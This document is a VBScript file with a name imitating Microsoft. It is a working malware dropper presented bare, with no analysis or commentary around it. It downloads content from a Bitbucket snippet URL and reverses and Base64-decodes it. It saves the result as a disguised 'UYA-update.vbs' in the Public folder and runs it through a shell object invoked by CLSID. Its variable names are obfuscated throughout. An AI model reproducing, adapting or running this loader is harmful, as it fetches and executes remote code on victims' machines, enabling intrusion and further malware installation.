hulalalMCROSOFT.vbs

Dim xxx
Set xxx = CreateObject("Scripting.FileSystemObject")
Set filetxt =  xxx.CreateTextFile("C:\Users\Public\o1.txt",True)
dim http_obj
dim stream_obj
dim shell_obj
set http_obj = CreateObject("MSXML2.ServerXMLHTTP.6.0")
set stream_obj = CreateObject("ADODB.Stream")
set shell_obj = GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
URL = "https://bitbucket.org/!api/2.0/snippets/hogya/5X7My8/b271c1b3c7a78e7b68fa388ed463c7cc1dc32ddb/files/divine1-2"
http_obj.open "GET", URL, False
http_obj.send
stream_obj.type = 1
stream_obj.open
stream_obj.write http_obj.responseBody
stream_obj.savetofile "C:\Users\Public\xxx1.txt", 2
Set file = xxx.OpenTextFile("C:\Users\Public\xxx1.txt", 1)
content = file.ReadAll
content = StrReverse(content)
Dim fso
Dim fdsafdsa
Dim oNode, fdsaa
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("Base64")
oNode.dataType = "bin.Base64"
oNode.text = content
set fdsaa = CreateObject("ADODB.Stream")
fdsaa.Type  = adTypeBinary
 tempdir = CreateObject("WScript.Shell").ExpandEnvironmentStrings("C:\Users\Public\UYA-update.vbs")
LocalFile = tempdir
fdsaa.Open
fdsaa.Write oNode.nodeTypedValue
fdsaa.savetoFile LocalFile,adSaveCreateOverWrite
set fso = CreateObject("Scripting.FileSystemObject")
set fdsafdsa= GetObject("new:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B")
if (fso.FileExists(LocalFile)) then
        fdsafdsa.Run(LocalFile)
End if